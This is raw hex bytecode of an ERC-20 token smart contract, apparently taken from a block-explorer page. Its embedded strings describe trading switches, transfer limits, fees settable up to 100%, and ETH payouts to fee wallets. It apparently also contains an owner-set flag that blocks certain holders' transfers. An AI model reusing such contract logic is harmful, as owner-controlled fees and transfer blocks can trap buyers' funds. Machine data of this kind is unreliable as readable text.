00000000000000000000000815260040161105890614113565b60405180910390fd5b6103e861106c610b43565b826110779190613f5c565b6110819190613fcd565b6010819055507fff3dd5e80294197918c284bbfc3dadd97d0b40ce92106110946329088f80068a6010546040516110b891906138d2565b60405180910390a150565b6000601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611169611f20565b6111736000612c0a565b565b61117d611f20565b6102588310156111c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b9906141a5565b60405180910390fd5b6103e882111580156111d5575060008210155b611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120b90614237565b60405180910390fd5b82600d8190555081600c8190555080600b60026101000a81548160ff021916908315150217905550505050565b6000806000600860159054906101000a900460ff1692506009549150600a549050909192565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546112a090613d2d565b80601f01602080910402602001604051908101604052809291908181526020018280546112cc90613d2d565b80156113195780601f106112ee57610100808354040283529160200191611319565b820191906000526020600020905b8154815290600101906020018083116112fc57829003601f168201915b5050505050905090565b61132b611f20565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fb91dbdeaf34f885ccae2d8abc3967cb03c079b6af2c7944e3893fd29427d75e760405160405180910390a380601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6113f3611f20565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611483576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147a906142c9565b60405180910390fd5b61148d8282612cd0565b5050565b611499611f20565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161153691906137b7565b60405180910390a25050565b61154a611f20565b81601881905550806019819055506019546018546115689190613e96565b601781905550606460175411156115b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ab9061435b565b60405180910390fd5b7fcb5f36df892836a2eaedc349de29a7581176990398ee185d16eaa8f6c1abd8f16017546018546019546040516115ed93929190614090565b60405180910390a15050565b60008060016000611608611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156116c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bc906143ed565b60405180910390fd5b6116d96116d0611d4f565b85858403611d57565b600191505092915050565b600e5481565b60006116fe6116f7611d4f565b8484611f9e565b6001905092915050565b611710611f20565b601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8616c7a330e3cf61290821331585511f1e2778171e2b005fb5ec60cfe874dc6760405160405180910390a380601260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6117d8611f20565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611824611f20565b6001821015611868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185f9061447f565b60405180910390fd5b818110156118ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a290614511565b60405180910390fd5b82600860156101000a81548160ff021916908315150217905550612710826118d1610b43565b6118db9190613f5c565b6118e59190613fcd565b600981905550612710816118f7610b43565b6119019190613f5c565b61190b9190613fcd565b600a819055507f52cd2cdb42ff0eeec9362d7ed5b04f64c8d022697128b5378fc51cea7e63c77983838360405161194493929190613b09565b60405180910390a1505050565b611959611f20565b6000600b60006101000a81548160ff021916908315150217905550427ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261660405160405180910390a2565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169250601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169150601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690509193909250565b611b2b611f20565b6000600b60016101000a81548160ff021916908315150217905550427f26e776fcf7ca20aa79b5b946e9b5111f47205539ece9d7a7995271dd6a8b5bad60405160405180910390a2565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611ba3611f20565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c09906145a3565b60405180910390fd5b611c1b81612c0a565b50565b600080600080600080601454955060155494506016549350601754925060185491506019549050909192939495565b600080601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915091509091565b611ca6611f20565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc9282604051611d4391906137b7565b60405180910390a25050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbd90614635565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2c906146c7565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611f1391906138d2565b60405180910390a3505050565b611f28611d4f565b73ffffffffffffffffffffffffffffffffffffffff16611f46612d71565b73ffffffffffffffffffffffffffffffffffffffff1614611f9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9390614733565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361200d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612004906147c5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361207c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207390614857565b60405180910390fd5b600081036120955761209083836000612d85565b612c05565b600b60009054906101000a900460ff161561275a576120b2611267565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561212057506120f0611267565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156121595750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612193575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156121ac5750600860149054906101000a900460ff16155b1561275957601260009054906101000a900460ff166122a657601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122665750601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6122a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229c906148e9565b60405180910390fd5b5b600b60019054906101000a900460ff1615612470576122c3611267565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561234a57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156123a45750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561246f5743601160003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061242a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612421906149a1565b60405180910390fd5b43601160003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125135750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156125ba5760105481111561255d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255490614a33565b60405180910390fd5b600f5461256983611119565b826125749190613e96565b11156125b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ac90614a9f565b60405180910390fd5b612758565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561265d5750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126ac576010548111156126a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161269e90614b31565b60405180910390fd5b612757565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661275657600f5461270983611119565b826127149190613e96565b1115612755576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274c90614a9f565b60405180910390fd5b5b5b5b5b5b600061276530611119565b90506000600954821015905080801561278a5750600860159054906101000a900460ff165b80156127a35750600860149054906101000a900460ff16155b80156127f95750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561284f5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156128a55750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128e9576001600860146101000a81548160ff0219169083151502179055506128cd613004565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff16159050601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061299f5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129a957600090505b60008115612bbc57601e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a0c57506000601754115b15612aa657612a396064612a2b601754886131c290919063ffffffff16565b6131d890919063ffffffff16565b905060175460195482612a4c9190613f5c565b612a569190613fcd565b601b6000828254612a679190613e96565b9250508190555060175460185482612a7f9190613f5c565b612a899190613fcd565b601a6000828254612a9a9190613e96565b92505081905550612b98565b601e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b0157506000601454115b15612b9757612b2e6064612b20601454886131c290919063ffffffff16565b6131d890919063ffffffff16565b905060145460165482612b419190613f5c565b612b4b9190613fcd565b601b6000828254612b5c9190613e96565b9250508190555060145460155482612b749190613f5c565b612b7e9190613fcd565b601a6000828254612b8f9190613e96565b925050819055505b5b6000811115612bad57612bac873083612d85565b5b8085612bb99190614b51565b94505b600860149054906101000a900460ff16158015612be55750600b60029054906101000a900460ff165b15612bf557612bf3876131ee565b505b612c00878787612d85565b505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600080612d7c6132f1565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612deb906147c5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5a90614857565b60405180910390fd5b612e6e838383613399565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612ef4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eeb90614bf7565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f879190613e96565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612feb91906138d2565b60405180910390a3612ffe84848461339e565b50505050565b600061300f30611119565b905060008190506000808303613027575050506131c0565b600a5483111561303757600a5492505b6000839050600047905061304a826133a3565b600061305f82476135e090919063ffffffff16565b9050600061308a8661307c601b54856131c290919063ffffffff16565b6131d890919063ffffffff16565b90506000601a819055506000601b81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16816040516130e290614c48565b60006040518083038185875af1925050503d806000811461311f576040519150601f19603f3d011682016040523d82523d6000602084013e613124565b606091505b505080955050601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161317090614c48565b60006040518083038185875af1925050503d80600081146131ad576040519150601f19603f3d011682016040523d82523d6000602084013e6131b2565b606091505b505080955050505050505050505b565b600081836131d09190613f5c565b905092915050565b600081836131e69190613fcd565b905092915050565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161322a9190613b4f565b602060405180830381865afa158015613247573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061326b9190614c72565b90506000613284600c54836135f690919063ffffffff16565b9050601f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156132e657600081146132e557600080fd5b5b600192505050919050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461337057600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613394565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b505050565b6000600267ffffffffffffffff8111156133c0576133bf614c9f565b5b6040519080825280602002602001820160405280156133ee5781602001602082028036833780820191505090505b509050308160008151811061340657613405613d5e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156134ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134cf9190614ce3565b816001815181106134e3576134e2613d5e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613548307f000000000000000000000000000000000000000000000000000000000000000084611d57565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016135aa959493929190614e13565b600060405180830381600087803b1580156135c457600080fd5b505af11580156135d8573d6000803e3d6000fd5b505050505050565b600081836135ee9190614b51565b905092915050565b600081836136049190613e96565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561364657808201518184015260208101905061362b565b60008484015250505050565b6000601f19601f8301169050919050565b600061366e8261360c565b6136788185613617565b9350613688818560208601613628565b61369181613652565b840191505092915050565b600060208201905081810360008301526136b68184613663565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006136f3826136c8565b9050919050565b613703816136e8565b811461370e57600080fd5b50565b600081359050613720816136fa565b92915050565b6000819050919050565b61373981613726565b811461374457600080fd5b50565b60008135905061375681613730565b92915050565b60008060408385031215613773576137726136be565b5b600061378185828601613711565b925050602061379285828601613747565b9150509250929050565b60008115159050919050565b6137b18161379c565b82525050565b60006020820190506137cc60008301846137a8565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126137f7576137f66137d2565b5b8235905067ffffffffffffffff811115613814576138136137d7565b5b6020830191508360208202830111156138305761382f6137dc565b5b9250929050565b6138408161379c565b811461384b57600080fd5b50565b60008135905061385d81613837565b92915050565b60008060006040848603121561387c5761387b6136be565b5b600084013567ffffffffffffffff81111561389a576138996136c3565b5b6138a6868287016137e1565b935093505060206138b98682870161384e565b9150509250925092565b6138cc81613726565b82525050565b60006020820190506138e760008301846138c3565b92915050565b600080600060608486031215613906576139056136be565b5b600061391486828701613711565b935050602061392586828701613711565b925050604061393686828701613747565b9150509250925092565b600080600060408486031215613959576139586136be565b5b600084013567ffffffffffffffff811115613977576139766136c3565b5b613983868287016137e1565b9350935050602061399686828701613747565b9150509250925092565b600060ff82169050919050565b6139b6816139a0565b82525050565b60006020820190506139d160008301846139ad565b92915050565b60006080820190506139ec60008301876137a8565b6139f960208301866137a8565b613a0660408301856138c3565b613a1360608301846138c3565b95945050505050565b600060208284031215613a3257613a316136be565b5b6000613a4084828501613747565b91505092915050565b60008060408385031215613a6057613a5f6136be565b5b6000613a6e85828601613747565b9250506020613a7f85828601613747565b9150509250929050565b600060208284031215613a9f57613a9e6136be565b5b6000613aad84828501613711565b91505092915050565b600080600060608486031215613acf57613ace6136be565b5b6000613add86828701613747565b9350506020613aee86828701613747565b9250506040613aff8682870161384e565b9150509250925092565b6000606082019050613b1e60008301866137a8565b613b2b60208301856138c3565b613b3860408301846138c3565b949350505050565b613b49816136e8565b82525050565b6000602082019050613b646000830184613b40565b92915050565b60008060408385031215613b8157613b806136be565b5b6000613b8f85828601613711565b9250506020613ba08582860161384e565b9150509250929050565b600080600060608486031215613bc357613bc26136be565b5b6000613bd18682870161384e565b9350506020613be286828701613747565b9250506040613bf386828701613747565b9150509250925092565b60008060408385031215613c1457613c136136be565b5b6000613c2285828601613711565b9250506020613c3385828601613711565b9150509250929050565b6000606082019050613c5260008301866137a8565b613c5f60208301856137a8565b613c6c60408301846137a8565b949350505050565b600060c082019050613c8960008301896138c3565b613c9660208301886138c3565b613ca360408301876138c3565b613cb060608301866138c3565b613cbd60808301856138c3565b613cca60a08301846138c3565b979650505050505050565b6000604082019050613cea6000830185613b40565b613cf76020830184613b40565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613d4557607f821691505b602082108103613d5857613d57613cfe565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613dc782613726565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613df957613df8613d8d565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613e60602883613617565b9150613e6b82613e04565b604082019050919050565b60006020820190508181036000830152613e8f81613e53565b9050919050565b6000613ea182613726565b9150613eac83613726565b9250828201905080821115613ec457613ec3613d8d565b5b92915050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613f26602483613617565b9150613f3182613eca565b604082019050919050565b60006020820190508181036000830152613f5581613f19565b9050919050565b6000613f6782613726565b9150613f7283613726565b9250828202613f8081613726565b91508282048414831517613f9757613f96613d8d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fd882613726565b9150613fe383613726565b925082613ff357613ff2613f9e565b5b828204905092915050565b7f546f74616c20627579206665652063616e6e6f7420626520686967686572207460008201527f68616e2031303025000000000000000000000000000000000000000000000000602082015250565b600061405a602883613617565b915061406582613ffe565b604082019050919050565b600060208201905081810360008301526140898161404d565b9050919050565b60006060820190506140a560008301866138c3565b6140b260208301856138c3565b6140bf60408301846138c3565b949350505050565b7f43616e6e6f7420736574206d61785478206c6f776572207468616e20302e3225600082015250565b60006140fd602083613617565b9150614108826140c7565b602082019050919050565b6000602082019050818103600083015261412c816140f0565b9050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b600061418f603383613617565b915061419a82614133565b604082019050919050565b600060208201905081810360008301526141be81614182565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b6000614221603083613617565b915061422c826141c5565b604082019050919050565b6000602082019050818103600083015261425081614214565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006142b3603983613617565b91506142be82614257565b604082019050919050565b600060208201905081810360008301526142e2816142a6565b9050919050565b7f546f74616c2073656c6c206665652063616e6e6f74206265206869676865722060008201527f7468616e20313030250000000000000000000000000000000000000000000000602082015250565b6000614345602983613617565b9150614350826142e9565b604082019050919050565b6000602082019050818103600083015261437481614338565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006143d7602583613617565b91506143e28261437b565b604082019050919050565b60006020820190508181036000830152614406816143ca565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e30312520746f74616c20737570706c792e000000000000000000000000602082015250565b6000614469603483613617565b91506144748261440d565b604082019050919050565b600060208201905081810360008301526144988161445c565b9050919050565b7f6d6178696d756d20616d6f756e742063616e742062652068696768657220746860008201527f616e206d696e696d756d00000000000000000000000000000000000000000000602082015250565b60006144fb602a83613617565b91506145068261449f565b604082019050919050565b6000602082019050818103600083015261452a816144ee565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061458d602683613617565b915061459882614531565b604082019050919050565b600060208201905081810360008301526145bc81614580565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061461f602483613617565b915061462a826145c3565b604082019050919050565b6000602082019050818103600083015261464e81614612565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006146b1602283613617565b91506146bc82614655565b604082019050919050565b600060208201905081810360008301526146e0816146a4565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061471d602083613617565b9150614728826146e7565b602082019050919050565b6000602082019050818103600083015261474c81614710565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006147af602583613617565b91506147ba82614753565b604082019050919050565b600060208201905081810360008301526147de816147a2565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614841602383613617565b915061484c826147e5565b604082019050919050565b6000602082019050818103600083015261487081614834565b9050919050565b7f5f7472616e736665723a3a2054726164696e67206973206e6f7420616374697660008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b60006148d3602283613617565b91506148de82614877565b604082019050919050565b60006020820190508181036000830152614902816148c6565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b600061498b604983613617565b915061499682614909565b606082019050919050565b600060208201905081810360008301526149ba8161497e565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d617854782e0000000000000000000000000000000000000000000000000000602082015250565b6000614a1d602683613617565b9150614a28826149c1565b604082019050919050565b60006020820190508181036000830152614a4c81614a10565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000614a89601383613617565b9150614a9482614a53565b602082019050919050565b60006020820190508181036000830152614ab881614a7c565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d617854782e00000000000000000000000000000000000000000000000000602082015250565b6000614b1b602783613617565b9150614b2682614abf565b604082019050919050565b60006020820190508181036000830152614b4a81614b0e565b9050919050565b6000614b5c82613726565b9150614b6783613726565b9250828203905081811115614b7f57614b7e613d8d565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614be1602683613617565b9150614bec82614b85565b604082019050919050565b60006020820190508181036000830152614c1081614bd4565b9050919050565b600081905092915050565b50565b6000614c32600083614c17565b9150614c3d82614c22565b600082019050919050565b6000614c5382614c25565b9150819050919050565b600081519050614c6c81613730565b92915050565b600060208284031215614c8857614c876136be565b5b6000614c9684828501614c5d565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614cdd816136fa565b92915050565b600060208284031215614cf957614cf86136be565b5b6000614d0784828501614cce565b91505092915050565b6000819050919050565b6000819050919050565b6000614d3f614d3a614d3584614d10565b614d1a565b613726565b9050919050565b614d4f81614d24565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614d8a816136e8565b82525050565b6000614d9c8383614d81565b60208301905092915050565b6000602082019050919050565b6000614dc082614d55565b614dca8185614d60565b9350614dd583614d71565b8060005b83811015614e06578151614ded8882614d90565b9750614df883614da8565b925050600181019050614dd9565b5085935050505092915050565b600060a082019050614e2860008301886138c3565b614e356020830187614d46565b8181036040830152614e478186614db5565b9050614e566060830185613b40565b614e6360808301846138c3565b969550505050505056fea26469706673582212207aa2b2ae0dba89626e72d5f622ce8c4baa9f71168d4f19c6d961b95d68acf1c864736f6c63430008130033000000000000000000000000efddba40c4029277edd8e490dcb9ab82dff53234
Deployed Bytecode
0x6080604052600436106102605760003560e01c806377b5312c11610144578063c2b7bbb6116100b6578063e884f2601161007a578063e884f260146108f6578063f242ab411461090d578063f2fde38b14610938578063f3dc390214610961578063fab82a8e14610991578063fcbb7607146109bd57610267565b8063c2b7bbb614610811578063d08893581461083a578063db05e5cb14610863578063dd62ed3e1461087a578063e13b2007146108b757610267565b80639b6b5499116101085780639b6b5499146106f15780639fe640941461071a578063a457c2d714610743578063a4c82a0014610780578063a9059cbb146107ab578063bb85c6d1146107e857610267565b806377b5312c1461061c5780638da5cb5b1461064957806395d89b411461067457806399e5b5c81461069f5780639a7a23d6146106c857610267565b8063313ce567116101dd57806352d65858116101a157806352d65858146105105780635580145f146105395780636cd20f5e1461056257806370a082311461059f578063715018a6146105dc578063730c1888146105f357610267565b8063313ce5671461042657806331f8151114610451578063395093511461047f5780634ada218b146104bc5780634b896a3e146104e757610267565b806323b872dd1161022457806323b872dd1461035357806326ededb814610390578063293230b8146103b95780632c3e486c146103d05780632e82f1a0146103fb57610267565b806306fdde031461026c578063095ea7b3146102975780631111f43f146102d457806318160ddd146102fd578063199ffc721461032857610267565b3661026757005b600080fd5b34801561027857600080fd5b506102816109e6565b60405161028e919061369c565b60405180910390f35b3480156102a357600080fd5b506102be60048036038101906102b9919061375c565b610a78565b6040516102cb91906137b7565b60405180910390f35b3480156102e057600080fd5b506102fb60048036038101906102f69190613863565b610a96565b005b34801561030957600080fd5b50610312610b43565b60405161031f91906138d2565b60405180910390f35b34801561033457600080fd5b5061033d610b4d565b60405161034a91906138d2565b60405